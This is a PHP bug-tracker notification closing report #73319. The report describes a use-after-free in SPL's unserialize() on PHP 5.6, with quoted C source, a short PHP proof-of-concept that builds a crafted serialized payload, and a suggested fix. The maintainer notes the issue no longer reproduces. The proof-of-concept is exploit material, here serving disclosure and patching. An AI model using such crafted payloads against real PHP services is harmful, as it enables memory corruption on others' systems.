Sec Bug->Bug #73319 [Opn->Csd]: Use-after-free Vulnerabilities in unserialize() with SPL Deserialization

From: Date: Wed, 10 Jun 2020 10:59:39 +0000
Subject: Sec Bug->Bug #73319 [Opn->Csd]: Use-after-free Vulnerabilities in unserialize() with SPL Deserialization
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-227403@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=73319&edit=1 ID: 73319 Updated by: nikic@php.net Reported by: taoguangchen at icloud dot com Summary: Use-after-free Vulnerabilities in unserialize() with SPL Deserialization -Status: Open +Status: Closed -Type: Security +Type: Bug Package: SPL related PHP Version: 5.6.26 -Assigned To: +Assigned To: nikic Block user comment: N Private report: Y New Comment: Can't reproduce any memory corruption in current PHP versions. It looks like this code was switched to use var_tmp_var() at some point, and as such doesn't immediately destroy values any more. Previous Comments: ------------------------------------------------------------------------ [2016-10-14 01:14:19] taoguangchen at icloud dot com Description: ------------ ``` SPL_METHOD(Array, unserialize) { ... ALLOC_INIT_ZVAL(pflags); if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) { goto outexcept; } ... outexcept: PHP_VAR_UNSERIALIZE_DESTROY(var_hash); if (pflags) { zval_ptr_dtor(&pflags); } zend_throw_exception_ex(spl_ce_UnexpectedValueException, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len); return; ``` When the php_var_unserialize call to fails, zval will be freed via zval_ptr_dtor, but it is still possible to be referenced by external php_var_unserialize. PoC: ``` <?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { try { $this->data = unserialize($data); } catch (Exception $e) { // do something } } } $inner = 'x:s:1:"A";'; $inner = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); var_dump($data); ?> ``` Fix: Some similar issues exists in other php_var_unserialize call to fails in ArrayObject deserialization, and also exists in SplObjectStorage/SplDoublyLinkedList. Fix these issues you need to use var_push_dtor_no_addref instead of zval_ptr_dtor. ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73319&edit=1

« previous php.bugs (#227403) next »